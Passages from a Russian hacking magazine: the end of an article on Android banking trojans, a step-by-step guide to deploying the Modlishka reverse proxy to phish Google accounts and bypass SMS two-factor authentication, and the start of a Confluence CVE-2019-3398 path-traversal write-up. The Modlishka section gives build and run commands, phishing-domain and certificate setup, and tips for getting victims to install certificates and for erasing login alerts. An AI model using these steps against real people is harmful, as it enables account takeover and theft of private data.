полез ную  информа цию.  При  перехо де  по  корот кой  ссыл ке  из  сооб щения
потен циаль ная жер тва нап равля ется на про межу точ ную стра ницу,  где опре‐ 
деля ется, что поль зователь зашел на сайт имен но с мобиль ного устрой ства
под управле нием Android, и выяв ляет ся его мобиль ный опе ратор, пос ле чего
про исхо дит  перенап равле ние  на  фей ковую  стра ницу  с  сооб щени ем  о  пос‐ 
тупле нии MMS, офор млен ную в сти лис тике соот ветс тву юще го ОПСО Са. Пос‐ 
ле нажатия на кноп ку начина ется заг рузка тро яна.

При мер фишин говой SMS‐рас сылки, цель которой — рас простра нение
бан ков ско го тро яна

Пер вые  мобиль ные  бан керы  работа ли  очень  прос то.  Если  для  фун кци они‐ 
рова ния  вре доно са  были  нуж ны  пра ва  адми нис тра тора,  он  нас той чиво
демонс три ровал на экра не окно с тре бова нием выдать ему соот ветс тву ющие
пол номочия, до тех пор пока изму чен ный поль зователь не сог ласит ся на это
дей ствие.  Но  иног да  вирусо писа тели  шли  на  раз личные  ухищ рения,  что бы
обма нуть потен циаль ную жер тву. Нап ример, бан кер Android.BankBot.29 мас‐ 
кировал  окно  зап роса  прав  адми нис тра тора  под  сооб щение  при ложе ния
Google  Play:  «Ваша  вер сия  уста рела,  исполь зовать  новую  вер сию?»
При  попыт ке  поль зовате ля  нажать  на  экранную  кноп ку  «Да»  layout  тро яна
исче зал,  и  тап  попадал  на  кноп ку  Accept  диало гово го  окна  DeviceAdmin,
в резуль тате чего вре донос получал адми нис тра тор ские при виле гии.

По лучить админ ские пра ва для Android‐тро яна не прос то, а очень прос‐ 
то

Еще  один  бан кер  дос тавал  поль зовате лей  зап росом  на  вклю чение  режима
Accessibility  Service  —  спе циаль ных  воз можнос тей  для  людей  с  огра ниче‐ 
ниями  по  здо ровью.  А  получив  такое  раз решение,  сам  вклю чал  для  себя
адми на.

Дру гой спо соб получе ния при виле гий — Accessibility Service

Пос ле  это го  трой  прос то  висит  в  памяти  мобиль ного  телефо на,  ожи дая
запус ка  мобиль ного  бан ков ско го  при ложе ния.  При  нас тупле нии  это го
события  он  опре деля ет,  какое  имен но  при ложе ние  запуще но,  и  рису ет
поверх  него  соот ветс тву ющую  под дель ную  фор му  вво да  логина  и  пароля,
а вве ден ные дан ные  тут же пересы лают ся на  управля ющий сер вер по HTTP
в виде JSON или на задан ный телефон ный номер SMS‐сооб щени ем. Кон фиг
мобиль ного бан кера может содер жать HTML‐код нес коль ких десят ков форм
с  раз личным  офор мле нием,  копиру ющим  интерфейс  при ложе ний  наибо лее
популяр ных  бан ков.  Пос ле  это го  оста ется  толь ко  перех ватить  и  отпра вить
в  том же нап равле нии SMS с одно разо выми пароля ми,  что бы пре дос тавить
ботово дам пол ный дос туп к бан ков ско му сче ту. Вхо дящие сооб щения от бан‐ 
ков при этом обыч но скры вают ся, что бы не вызывать у жер твы подоз рений.

Мо биль ные бан керы могут рисовать под дель ные окна авто риза ции
популяр ных бан ков

Сколь ко денег подоб ным обра зом было похище но со сче тов поль зовате лей
Android,  ска зать  труд но,  но  сум мы  здесь  навер няка фигури руют шес тизнач‐ 
ные. Даже если  тро янам по какой‐то при чине не уда валось получить дос туп
к бан ков ско му сче ту, они бла гопо луч но похища ли рек визиты бан ков ских карт.
Для это го, нап ример, широко исполь зовались фей ковые окна при вяз ки кар ты
к при ложе нию Google Play.

Для хищения рек визитов бан ков ских карт мно гие мобиль ные трои
исполь зуют под дель ные окна Google Play

При обрести  что‐либо  цен ное  в  при лич ных  интернет‐магази нах  с  исполь‐ 
зовани ем  ворован ных  рек визитов  неп росто,  а  вот  опла тить  онлайн‐игрушки
или  покуп ку  музыки  в  каком‐нибудь  сер висе  впол не  воз можно.  Подоб ные
сай ты  ред ко  замора чива ются  серь езной  про вер кой  пла теж ных  рек визитов,
пос коль ку  тран закции  там  обыч но  копе ечные.  Чем  и  поль зуют ся  зло умыш‐ 
ленни ки.

БАНКБОТЫ
Бан кбо ты — это побоч ная ветвь эво люции мобиль ных бан керов. Если обыч‐ 
ные бан ков ские трои работа ют более‐менее авто ном но, то бан кбо ты спо соб‐ 
ны получать раз личные управля ющие коман ды и выпол нять их на заражен ном
девай се.

Ко ман ды  могут  переда вать ся  по  HTTP,  нап ример  в  фор мате  JSON,
по  SMS,  а  в  некото рых  слу чаях  даже  через  спе циаль ный  Telegram‐канал.
Боль шинс тво бан кбо тов  по  коман де  вклю чают  или отклю чают  перех ват  вхо‐ 
дящих  SMS‐сооб щений,  могут  скры вать  получен ные  SMS  (пря тать  мож но
сооб щения с опре делен ных номеров или с задан ными клю чевы ми сло вами),
отклю чать  звук  мобиль ного  телефо на,  отправ лять  сооб щения  на  ука зан ный
зло умыш ленни ками  номер  с  задан ным  содер жимым  или  выпол нять  USSD‐
коман ды.  Так же  ботовод  может  изме нить  адрес  управля юще го  сер вера
или  сис темный  номер  телефо на,  на  который будет  пересы лать ся  информа‐ 
ция, если ее не уда лось передать по HTTP.

Мно гие  бан кбо ты  так же  могут  ска чивать  и  уста нав ливать  на  мобиль ном
устрой стве  APK‐фай лы,  ссыл ку  на  которые  ука жет  в  коман де  ботовод.
В  резуль тате  на  заражен ный  девайс  попада ют  дру гие  тро яны,  име ющие
более  широкий  ассорти мент  фун кций.  Так же  некото рые  бан кбо ты  уме ют
отоб ражать на экра не смар тфо на акти вити с прис ланны ми зло деем парамет‐ 
рами — это откры вает широчай шие воз можнос ти для фишин га и реали зации
самых  изощ ренных  мошен ничес ких  схем.  Ну  и  поч ти  все  такие  вре доно сы
уме ют сли вать на коман дный сер вер адресную кни гу, SMS‐перепис ку и про‐ 
чие кон фиден циаль ные дан ные, а так же пере адре совы вать вхо дящие звон ки
на задан ный в коман де телефон ный номер. Отдель ные экзем пля ры тро янов
ко все му про чему обла дают фун кци ями самоза щиты: они отсле жива ют име на
работа ющих в  сис теме про цес сов и при обна руже нии анти виру са пыта ются
выг рузить его, исполь зуя пра ва адми нис тра тора.

Прак тичес ки  все  бан кбо ты  исполь зуют  веб‐админку,  пре дос тавля ющую
ботово дам под робную ста тис тику по инфи циро ван ным девай сам и похищен‐ 
ной на них информа ции.

Ти пич ная админка типич ного мобиль ного бан ков ско го бота

ИНДУСТРИЯ
С рас простра нени ем мобиль ных устрой ств на Android про изводс тво тро янов
для этой плат формы ста ло понем ногу прев ращать ся в самую нас тоящую под‐ 
поль ную индус трию. В пол ной мере кос нулось это и бан керов.

В  дар кне те  ста ли  появ лять ся  объ явле ния  о  сда че  бан ков ских  тро янов
под Android в арен ду, с пре дос тавле нием кли енту админки и тех ничес кой под‐ 
дер жки.  А  затем  начали  рас простра нять ся  бил деры,  с  исполь зовани ем
которых  любой  жела ющий  без  каких‐либо  навыков  прог рамми рова ния  мог
соору дить бан ков ско го тро яна, мас киру юще гося под выб ранное при ложе ние
или опре делен ную сис тему банк‐кли ент.

Бил дер для соз дания бан ков ско го троя под Android

Бла года ря это му количес тво бан ков ских тро ев при мер но с 2017 года начало
рас ти  если  не  в  геомет ричес кой  прог рессии,  то  весь ма  замет но.  И  шан сы
под цепить  подоб ную  заразу  у  поль зовате лей  смар тфо нов  на  Android  тоже
зна читель но вырос ли. А с уче том того, что боль шинс тво подоб ных вре доно‐ 
сов  работа ет  с  при виле гиями  адми нис тра тора,  уда лить  их  с  устрой ства
не  так‐то  прос то:  для  это го  в  луч шем  слу чае  при дет ся  запус тить  сис тему
в безопас ном режиме, в худ шем — сбро сить девайс к завод ским нас трой кам
со все ми вытека ющи ми пос ледс тви ями.

А КАК БОРОТЬСЯ?
До казан ный факт: даже отклю чение на телефо не воз можнос ти уста нов ки при‐ 
ложе ний из сто рон них источни ков далеко не всег да защища ет поль зовате ля
от  про ник новения  бан керов.  Слу чаев  заг рузки  подоб ных  вре доно сов  даже
из офи циаль ного катало га Google Play извес тно мно жес тво: тех нология про‐ 
вер ки раз меща емых там при ложе ний все еще несовер шенна.

Кро ме  того,  опе раци онную  сис тему  Android  отли чает  зна читель ное
количес тво  ,  которые  могут  исполь зовать ся  вирусо писа теля ми
в сво их, отнюдь не бла город ных целях. Защитить устрой ство от несан кци они‐ 
рован ного про ник новения злов редов спо соб ны анти виру сы, но вот уста нав‐ 
ливать их или нет — лич ное дело самих поль зовате лей Android. По  край ней
мере,  мой  при ятель‐ком мерсант  пос ле  инци ден та  с  похище нием  денег
решил боль ше не испы тывать судь бу и  ска чал на свой  телефон  такую прог‐ 
рамму: лиш ней не будет.

уяз вимос тей

mailto:valentin@holmogorov.ru
https://xakep.ru/2019/02/07/forgotten-android/
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ВЗЛОМ

Те невые форумы изо билу ют пред ложени ями о взло ме акка‐ 
унтов. В боль шинс тве слу чаев ата ки устра ивают при помощи
фишин га с под делкой стра ницы авто риза ции. Одна ко такой
метод  неэф фекти вен,  если  поль зовате лю  при ходит  SMS
с про вероч ным кодом. Я покажу, как про бить двух фактор ную
аутен тифика цию, на при мере взло ма акка унта Google редак‐ 
тора «Хакера».

ЭКСКУРС В 2FA
Во  вре мена,  ког да  сай ты  работа ли  по  HTTP  и  о  защите  тол ком  ник то  и  не
думал,  перех ватить  тра фик  с  учет ными  дан ными  было  сов сем  нес ложно.
Потом  тра фик  ста ли  шиф ровать,  и  хакерам  приш лось  при думы вать  более
изощ ренные спо собы под мены и перенап равле ния мар шру тов. Казалось бы,
двух фактор ная аутен тифика ция окон чатель но решила проб лему, но все дело
в деталях ее реали зации.

Ме тод  2FA  (Two‐Factor  authentication)  был  при думан  как  допол нитель ный
спо соб  под твержде ния  вла дель ца  акка унта. Он  осно ван  на  нес коль ких  спо‐ 
собах аутен тифика ции:

поль зователь что‐то зна ет (нап ример, может отве тить, какая была девичья
фамилия его матери или клич ка пер вого домаш него питом ца);

•

поль зователь обла дает уни каль ными чер тами, которые мож но оциф ровать
и срав нить (биомет ричес кая аутен тифика ция);

•

поль зователь  име ет  девайс  с  уни каль ным  иден тифика тором  (нап ример,
номер мобиль ного, флеш ку с клю чевым фай лом).

•

Пер вый метод еще встре чает ся при вос ста нов лении паролей по кон троль ным
воп росам.  Для  регуляр ного  исполь зования  он  не  годит ся,  так  как  отве ты
не  меня ются  и  могут  быть  лег ко  ском про мети рова ны.  Вто рой  спо соб  чаще
при меня ется для  защиты дан ных на мобиль ных  гад жетах и для авто риза ции
кли ент ских при ложе ний на сер верах.

Са мый  популяр ный  метод  2FA  —  тре тий.  Это  SMS  с  про вероч ными
кодами,  генери руемы ми  по  тех нологии  .  Код  при ходит  каж дый  раз  раз‐ 
ный, поэто му уга дать его прак тичес ки невоз можно.

OTP

Од нако чем слож нее пре одо леть защиту тех ничес кими метода ми, тем лег‐ 
че  быва ет  это  сде лать  соци аль ной  инже нери ей.  Все  нас толь ко  уве рены
в надеж ности 2FA,  что исполь зуют ее для самых ответс твен ных опе раций —
от авто риза ции в Google (а это сра зу дос туп к поч те, дис ку, кон тактам и всей
хра нимой в обла ке исто рии) до сис тем кли ент‐банк.

При  этом  воз можность  обхо да  такой  сис темы  уже  показы вал  авс тра лий‐ 
ский  иссле дова тель Шаб хэм Шах  (Shubham  Shah).  Прав да,  его    был
доволь но  сло жен  в  прак тичес кой  реали зации.  В  нем  исполь зовалась  авто‐ 
риза ция  по  звон ку,  а  не  SMS,  а  пред варитель но  нуж но  было  узнать  номер
телефо на жер твы и часть  учет ных дан ных. PoC был не осо бо убе дитель ным,
но наметил век тор ата ки.

ме тод

MODLISHKA
В начале 2019 года поль ский иссле дова тель Пётр Душинь ский (Piotr Duszyńs‐
ki) выложил в откры том дос тупе реверс‐прок си  . По его сло вам, этот
инс тру мент  может  обой ти  двух фактор ную  аутен тифика цию,  что  мы  сей час
и про верим.

Modlishka

Ес ли  срав нить  его  с  тем  же    (он  встро ен  прак тичес ки  во  все
популяр ные дис три бути вы для пен теста), то раз ница вот в чем: SET кло ниру ет
и раз меща ет на локаль ном сер вере стра ницу авто риза ции. Там все осно вано
на работе скрип тов, которые перех ватыва ют вво димые учет ные дан ные жер‐ 
твы. Мож но,  конеч но,  нас тро ить  редирект  на ори гиналь ный  сайт,  но  тра фик
от жер твы до тво его сер вера будет незашиф рован ным. По сути, такого рода
прог раммы  выс тупа ют  в  роли  web‐сер веров  с  под дель ным  (фишин говым)
сай том.

SEToolkit

Modlishka дей ству ет ина че. Генери рует ся свой сер тификат, которым шиф‐ 
рует ся соеди нение от жер твы до нашего сер вера (что бы не палить ся). Затем
эта машина выс тупа ет в роли обратно го прок си.

Дру гими сло вами,  весь  тра фик идет на ори гиналь ный сайт  с  инстан цией
на нашем сер вере. У хакера оста ются учет ные дан ные, и зах ватыва ется авто‐ 
ризо ван ная  сес сия  жер твы.  Клас сичес кая  MITM‐ата ка,  которую  пред варя ет
фишинг  (нуж но  как‐то  зас тавить  жер тву  уста новить  под дель ный  сер тификат
и нап равить ее на фей ковый сайт).

WARNING

Статья  написа на  в  обра зова тель ных  целях.
Ни автор, ни редак ция не несут ответс твен ности
за  любой  воз можный  вред,  при чинен ный  изло‐ 
жен ными здесь матери ала ми.

ПОДНИМАЕМ СТЕНД
Да вай  под нимем  сер вер  с  Modlishka  внут ри  локаль ной  машины.  Я  сде лаю
это  на  при мере  Kali  Linux,  но  прин ципи аль ной  раз ницы  для  дру гих  дис три‐ 
бути вов не будет — раз ве что слег ка изме нит ся путь к исходни кам Go.

Вна чале ста вим   — на этом язы ке написан реверс‐прок си, и без Go он
не ском пилиру ется.

Go

$ apt‐get install golang

Сле дом ука зыва ем путь к дирек тории исходни ков:

$ export GOPATH='/root/go'

Про верить все мож но коман дой

$ go env

В выводе дол жен быть ука зан GOPATH.

Вы вод коман ды

За тем кло ниру ем вет ку с инс тру мен том.

$ go get ‐u github.com/drk1wi/Modlishka
$ cd /root/go/src/github.com/drk1wi/Modlishka/

Соз даем сер тификат:

$ openssl genrsa ‐out secret.key 2048
$ openssl req ‐x509 ‐new ‐nodes ‐key secret.key ‐sha256 ‐days 1024 
‐out cert.pem

Те перь  необ ходимо  перенес ти  содер жимое  клю ча  и  сер тифика та  в  файл
 и заменить зна чение двух перемен ных:plugin/autocert.go

 — зна чение сер тифика та (файл pem);• const CA_CERT

 — зна чение клю ча (файл key).• const CA_CERT_KEY

Файл autocert.go пос ле замены сер тифика та

Те перь собира ем все это дело:

$ make

За нима ет ком пиляция от трех до десяти минут в зависи мос ти от количес тва
вычис литель ных ресур сов.

Сам  запус каемый  файл  находит ся  в  дирек тории    под  наз вани ем
. Для про вер ки мож но запус тить с клю чом   — вывод справ ки.

dist/
proxy ‐h

$ ./dist/proxy ‐h

Вы вод справ ки прог раммы Modlishka

ЛОВИМ УЧЕТНЫЕ ДАННЫЕ И СЕССИЮ ЖЕРТВЫ
Как я писал выше, что бы соз дать проз рачный для жер твы шиф рован ный канал
до  нашего  реверс‐прок си,  необ ходимо  спер ва  экспор тировать  в  бра узер
сер тификат.  Даль нейшие  дей ствия  раз бира ются  на  при мере  Mozilla  Firefox
x64 v. 67.0.

Пе ред запус ком взгля нем вни матель но на содер жимое еще одно го фай ла
в дирек тории  . Нам инте ресен  . Под робное
опи сание каж дого пун кта мож но най ти в   по это му кон фигу.

templates google.com_gsuite.json
гай де

Со дер жимое фай ла google.com_gsuite.json

Есть два вари анта запус ка Modlishka: вруч ную и с помощью кон фигура цион‐ 
ного фай ла. Для запус ка вруч ную минималь ная коман да выг лядит так:

$ ./dist/proxy ‐target https://google.com ‐phishingDomain loopback.
modlishka.io ‐listeningPort 443 ‐tls

За пуск с исполь зовани ем кон фигура цион ного фай ла:

$ ./dist/proxy ‐config /templates/google.com_gsuite.json

За пус тим из кон фига и перей дем в бра узе ре по адре су 
. Нам откро ется стра ница  . Вхо дим в акка унт и видим, как в

выводе тер минала появ ляют ся учет ные дан ные жер твы.

loopback.modlish‐
ka.io google.com

Ло гин и пароль в выводе Modlishka

Ес ли  перей ти  по  адре су 
(очень сим волич но), то получим кон соль управле ния перех вачен ной сес сией
(в дан ный момент это бета‐фун кция). На дан ном эта пе мы перех ватили логин
и  пароль  жер твы  безо  вся ких  оши бок  с  шиф ровани ем  и  в  «защищен ном»
соеди нении. Нас коль ко мне извес тно, дру гие инс тру мен ты ана логич ного наз‐ 
начения такого не уме ют.

loopback.modlishka.io/SayHello2Modlishka

Что  же  теперь  делать  с  двух фактор ной  аутен тифика цией?  А  вот  что:
в  панели  управле ния  есть  незапол ненное  поле  UUID,  и  эта  циф ра —  ключ
ко все му.

Ес ли сра зу нажать на  кноп ку  Impersonate user  (beta),  то откро ется пус тая
вклад ка, и в кон соли Modlishka нам под ска жет, что нет UID поль зовате ля. Его
необ ходимо задать,  а  зада ется он  в  самом начале — ука зыва ется  в  ссыл ке
на наш злой URL. Для это го вер немся к кон фигура цион ному фай лу.

Нам  инте рес на  стро ка  .  В  ней  необ ходимо
задать зна чение  , что бы наш URL выг лядел сле дующим обра зом:

"trackingParam":  "ident"
ident

https://loopback.modlishka.io/?ident=1

Имен но  на  такой  (или  допол нитель но  обфусци рован ный)  URL  необ ходимо
нап равить жер тву.

На  этот  раз,  пос ле  перехо да  и  авто риза ции  по  такой  ссыл ке,  в  панели
управле ния  ( ) будет дос тупна
сес сия  с  запол ненным UUID. Как имен но  это  выг лядит,  я  покажу  чуть  поз же
на реаль ном при мере.

loopback.modlishka.io/SayHello2Modlishka

Те перь  при  нажатии  на  боль шую  жел тую  кноп ку  мы  уви дим  кра сивую
синюю ани мацию и через пять‐десять секунд попадем в авто ризо ван ную сес‐ 
сию  жер твы,  нев зирая  на  труд ности  двух фактор ной  авто риза ции.  Жер тва,
как  обыч но,  получит  и  вве дет  под твержда ющий  код,  видя  зашиф рован ное
соеди нение  и  нас тоящую  панель  авто риза ции  Google,  но  не  замечая  вкли‐ 
нив шегося посере дине реверс‐прок си Modlishka.

Хоть я и при вел Wiki по всем парамет рам кон фигура цион ного фай ла, есть
еще один момент. Пос ле того как жер тва вве ла учет ные дан ные, желатель но
пре дот вра тить  выход  из  акка унта  и  сох ранить  авто ризо ван ную  сес сию.
Это  дела ет  параметр  .  Если  в  этом  парамет ре  ука зать
URL,  на  который  попадет  поль зователь  пос ле  успешной  авто риза ции,  то
при появ лении такого адре са весь тра фик нач нет перенап равлять ся на ори‐ 
гиналь ный  URL,  а  авто ризо ван ная  сес сия  не  будет  тро нута  даже  пос ле
выхода из акка унта.

terminateTriggers

ГОТОВЫЙ КОМПЛЕКТ ЗА NAT
Ата ковать  внут ри  одной  машины  или  ЛВС  ока залось  не  так  слож но,  а  вот
с под готов кой в качес тве PoC «боево го» стен да в WWW у меня понача лу выш‐ 
ла  замин ка. Для  него  понадо бит ся  либо  перенап равле ние  на  белый  (внеш‐ 
ний) IP‐адрес, либо выделен ный сер вер с таким адре сом. Арен довать сер вер
мож но от 300 руб лей в месяц. Для тес тов я брал  .тут

INFO

Ког да я под нимал этот сер вер на Kali Linux, проб‐ 
лем не было. На VDS сто яла Ubuntu Server 16.4,
и при уста нов ке Golang ока залось,  что в  ука зан‐ 
ных по умол чанию репози тори ях лежит очень ста‐ 
рая вер сия Go, которая при ком пиляции выдава‐ 
ла  мас су  оши бок.  В  таком  слу чае  необ ходимо
добавить  акту аль ные  репози тории  Go  и  уста‐ 
новить све жую вер сию.

Пер вая проб лема зак люча ется в домен ном име ни. Если перей ти с компь юте‐ 
ра  жер твы  на  URL  ,  то  ничего  не  вый дет,  так
как внеш ние и непод кон троль ные нам DNS не зна ют такого адре са. Если же
перенап равить на IP‐адрес машины с Modlishka, то жер тва попадет пря миком
на стра ницу Google, минуя прок си‐сер вер, а в выводе тер минала уви дим две
стро ки:

loopback.modlishka.io

 

 

Host 192.168.1.15 does not contain the phishing domain 
Redirecting client to google.com

Ес ли жер тва в той же локаль ной сети, то мож но задать соот ветс твие IP — URL
в мес тном DNS или в ее фай ле  . В моем слу чае это было так:hosts

192.168.1.15 loopback.modlishka.io

В интерне те я сна чала поп робовал зарегис три ровать бес плат ный домен 3‐го
уров ня. Пред полагал, что это го хва тит, но не тут‐то было! При перехо де ока‐ 
зыва лась лишь стра ница, что сайт недос тупен, а при вво де  IP‐адре са через
HTTPS редирек тило на Google. По прос тому HTTP и вов се откры валась при‐ 
ветс твен ная стра ница Apache.

Как обыч но, дьявол кро ется в деталях. При перехо де по URL в гло баль ной
сети авто матом добав ляет ся пре фикс www, а прог рамма жда ла чис того обра‐ 
щения к домену. Добав ление www в кон фиг не помог ло, и приш лось добывать
в свои вла дения пол ный пул под доменов. Дру гими сло вами, если домен выг‐ 
лядит  как  ,  то  иметь  необ ходимо 

.
loopback.modlishka.io

*.loopback.modlishka.io
Сле дующая  заг воз дка  каса ется  сер тифика тов.  Необ ходимо  на  зарегис‐ 

три рован ный домен сде лать сер тификат и  ключ. В иде але необ ходимо под‐ 
писывать сер тификат в удос товеря ющем цен тре, но для тес та мож но исполь‐ 
зовать и самопод писан ный.

Идем на любой  , дела ем и ска чива ем два фай ла.
Их содер жимое надо под ста вить  в  кон фигура цион ный файл Modlishka соот‐ 
ветс твен но  полям    и    Неболь шая  ремар ка:  сер‐ 
тификат  и  ключ  дол жны  ука зывать ся  в  одну  стро ку,  а  перенос  стро ки,
как обыч но, зада ется пос ледова тель ностью  .

ге нера тор сер тифика тов

"cert": "" ."certKey": ""

\n
Выг лядеть дол жно при мер но так:

"cert": "‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐\nMIIDJTCCAg2gAwIBAgIESjd
T0DANBgkqhkiG9w0BAQsFADApMScwJQYDVQQDDB5SZWdlcnkgU2Vs\n...".

Так же  в  кон фигура цион ном  фай ле  нам  необ ходимо  изме нить  пару  дру гих
парамет ров:

 — тут вмес то 
 под став ляем свой домен;

• "phishingDomain": "loopback.modlishka.io" loop

back.modlishka.io

  —  нуж но  заменить  на  0.0.0.0,
ина че  прос лушива ется  лишь  lo‐интерфейс,  а  работать  все  будет  толь ко
внут ри локаль ной машины.

• "listeningAddress":  "127.0.0.1"

Modlishka  каж дый  раз  раз ворачи вает ся  для  кон крет ных  домен ных  имен.
Поэто му  луч ше  изна чаль но  регис три ровать  домен ное  имя,  затем  получать
сер тификат и толь ко потом раз ворачи вать тех ничес кую часть. В таком слу чае
мож но импорти ровать содер жимое сер тифика тов в  , и про писы‐ 
вать ключ с сер тифика том в файл кон фигура ции уже не пот ребу ется.

autocert.go

ВЗЛОМАТЬ ХАКЕРА
Этот  стенд  я  тес тировал  с  редак тором  жур нала  «Хакер»  Андре ем  Василь‐ 
ковым, который выс тупал в роли очень наив ной жер твы. На   адрес
моего  домена  ничуть  не  похож,  но  мы  решили  про пус тить  обфуска цию.
Об этом уже была  , и  .

google.com

от дель ная статья не одна
Ре зуль таты  сов мес тно го  экспе римен та  мож но  уви деть  на  скрин шотах.

Андрей находил ся в дру гом городе и   под‐ 
клю чал ся через дру гого про вай дера, заходя на мой фишин говый сайт через
дес ктоп ный Firefox v. 67.0.

по это му ничего не мог мне сде лать

Сна чала  он  ска чал  под дель ный  сер тификат  моего  домена  (он  похож
на домен бан ка) и уста новил его в бра узе ре. В реаль ной жиз ни мотиви ровать
на  такой  отча янный  пос тупок  мож но  под  видом  заботы  о  безопас ности
(хе‐хе), про моак ции или сыг рать на жад ности/стра хе  тысячью одним дру гим
спо собом.

Жер тва ста вит сер тификат

В  адресной  стро ке  тво рит ся  безоб разие,  но  мало  кто  в  нее  смот рит  (на
мобиль ных бра узе рах она вооб ще скры вает ся для эко номии мес та на экра‐ 
не).  Зеленый  замочек  «защищен ного»  соеди нения  все ляет  уве рен ность,
а панель авто риза ции Google вооб ще заг ружа ется ори гиналь ная.

Ло вуш ка для нев ниматель ных

Пер вый  этап  про шел  успешно —  Андрей  ввел  свой  логин  и  пароль,  пос ле
чего Google отпра вил ему одно разо вый код под твержде ния в SMS.

Зап рос кода под твержде ния

Мень ше  чем  через  минуту  Андрей  вво дит  его  в  стан дар тное  поле  верифи‐ 
кации. Он вошел в свой акка унт… и я тоже!

Пол ный перех ват авто риза ции

Пос ле это го мне откры лась пол ная сво бода дей ствий. Поч та, диск, кон такты,
исто рия  бра узе ра,  исто рия  геог рафичес ких  переме щений,  спис ки  уста нов‐ 
ленных при ложе ний, сох ранен ные пароли точек дос тупа Wi‐Fi и бэкапы. Прос‐ 
то циф ровой Клон дайк!

Взло ман ная поч та

Са мое глав ное — уда лось перех ватить активную сес сию.

Па нель управле ния Modlishka

Важ ное  при меча ние:  если  акка унт  исполь зует ся  на  смар тфо не,  то  поль‐ 
зовате лю отпра вит ся push‐уве дом ление о том, что был совер шен вход в акка‐ 
унт с нового устрой ства. Одна ко у хакера есть вре мя вой ти в поч ту и уда лить
это пись мо. Для жер твы все будет выг лядеть как глюк сис темы уве дом лений,
если она вооб ще на него сре аги рует.

ВЫВОДЫ
Сес сия в панели управле ния Modlishka очень живучая. Она не уми рает до тех
пор, пока из нее самой не вый дет поль зователь  (либо  хакер).  То есть, если
жер тва  зак роет  вклад ку,  авто ризо ван ная  сес сия  оста нет ся  активной.  Если
заново авто ризо вать ся нап рямую на google.com, а потом вый ти из акка унта,
то сес сия все рав но оста нет ся живой. Даже если оста новить сер вер Modlish‐
ka  и  запус тить  его  заново —  сес сия  все  рав но  оста ется.  Есть  толь ко  одна
гаран тирован ная  воз можность  деав ториза ции —  вый ти  в  тот момент,  ког да
толь ко «редирек тишь ся» на прок си.

Хоть в статье и были опи саны тех ничес кие детали, обход 2FA не сра бота ет
без  соци аль ной  инже нерии.  Нуж но  замас кировать  сайт  и  как‐то  уста новить
сер тификат  на  компь ютер  жер твы.  Впро чем,  это  может  ока зать ся  не  так  уж
слож но. Боль шинс тво поль зовате лей охот но выпол няют инс трук ции, начина‐ 
ющиеся  со  слов  «отклю чите  анти вирус  и  фай рвол»,  а  уж  в  уста нов ке  сер‐ 
тифика та мало кто из обы вате лей уви дит потен циаль ную опас ность.

WWW

•Phishing with Modlishka
•Phishing NG
•Ре комен дации по пре дот вра щению MITM‐атак

mailto:vegelin47@mail.ru
https://medium.freecodecamp.org/how-time-based-one-time-passwords-work-and-why-you-should-use-them-in-your-app-fdd2b9ed43c3
https://xakep.ru/2014/05/17/62512/
https://github.com/drk1wi/Modlishka
https://github.com/trustedsec/social-engineer-toolkit
https://golang.org/
https://github.com/drk1wi/Modlishka/blob/master/templates/google.com_gsuite.json
https://github.com/drk1wi/Modlishka/wiki/How-to-use
https://my.firstvds.ru/
https://regery.com.ua/ru/security/ssl-tools/self-signed-certificate-generator
https://xakep.ru/2018/04/05/social-engineering-recipes/
https://xakep.ru/2018/10/17/social-engineering-recipes-2/
https://vimeo.com/308709275
https://blog.duszynski.eu/phishing-ng-bypassing-2fa-with-modlishka/
https://www.cert.pl/en/news/single/recommendations-on-mitigation-of-man-in-the-middle-phishing-attacks-evilginx2-modlishka/
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ВЗЛОМ

В Confluence, популяр ной кор поратив ной сис теме для орга‐ 
низа ции  зна ний,  наш ли  серь езную  уяз вимость.  Зло умыш‐ 
ленник может сох ранять фай лы на целевой сис теме, а затем
и  выпол нять  про изволь ный  код.  Учи тывая,  что  в  Confluence
обыч но  хра нят  важ ней шие  дан ные,  проб лема  может  иметь
самые серь езные пос ледс твия. Но даже если ты не пла ниру‐ 
ешь занимать ся про мыш ленным шпи она жем, разоб рать эту
уяз вимость будет небес полез но.

Баг  в  кон це мар та обна ружил  лат вий ский иссле дова тель    (Jānis
Krusts) из IT Centrs. Ей прис воили номер  . Баг сво дит ся к тому,
что отсутс твие филь тра ции имен фай лов в 

  дает  воз можность  ата кующе му  вый ти  из  вре мен ной  дирек тории
и  записать  файл  с  про изволь ным  содер жимым  в  любую  пап ку,  дос тупную
для записи.

Янис Крустс
CVE‐2019‐3398
DownloadAllAttachmentsOnPage‐

Action

Для  про веде ния  ата ки  тре бует ся  учет ная  запись  с  пра вами  соз дания
и редак тирова ния записей. Уяз вимы мно жес тво вер сий в раз ных вет ках при‐ 
ложе ния. Все, что выш ло аж с Confluence 2.0.0 вплоть до Confluence 6.6.12,
уяз вимо.  Так же  проб лемны ми  ока зались  вер сии  с  6.7.0  до  6.12.3,  вер сии
с 6.13.0 по 6.13.3, с 6.14.0 до 6.14.2 и с 6.15.0 по 6.15.2 вклю читель но. Более
деталь ный спи сок мож но  .пос мотреть в офи циаль ной базе зна ний

СТЕНД
У  Confluence  прос той  инстал лятор,  который  работа ет  в  боль шинс тве  сов‐ 
ремен ных опе раци онных сис тем. Для тес тов я возь му Confluence 6.9.0. Если
в качес тве основной ОС у тебя Windows, то мож но 

.  Одна ко  я  рекомен дую  более  уни вер саль ный  метод  —  запус тить
кон тей нер Docker. Не забывай про киды вать необ ходимые пор ты.

вос поль зовать ся инстал‐ 
лятором

$ docker run ‐‐rm ‐‐name=confluence.vh ‐‐hostname=conflvh ‐p 8090:
8090 ‐p 8091:8091 atlassian/confluence‐server:6.9.0

Ин стал лиру ем при ложе ние.

Ус танов ка Atlassian Confluence 6.9.0

Да лее соз даем адми нис тра тора сис темы. Для тес тирова ния уяз вимос ти нам
понадо бит ся  поль зователь  с  воз можностью  заг ружать  атта чи. Соз даем  его,
и стенд готов.

Го товый стенд с Confluence 6.9.0

ДЕТАЛИ УЯЗВИМОСТИ CVE-2019-3398
Как  ты  уже  зна ешь,  проб лема  кро ется  в  заг рузке  всех  прик реплен ных
к записи фай лов. Соз дадим про изволь ную запись и заг рузим к ней нес коль ко
фай лов.

Заг ружен ные фай лы к пос ту бло га в Confluence

Об рати  вни мание  на  кноп ку  Download  All  —  она  ска чива ет  все  фай лы.
Перед этим они любез но упа ковы вают ся в ZIP, который и отправ ляет ся поль‐ 
зовате лю.  В  моем  слу чае  ссыл ка  име ет  вид 

. Из наз вания экше‐ 
на  вид но,  что  за  ска чива ние  отве чает  класс 

.  Он  рас положен  в  фай ле 
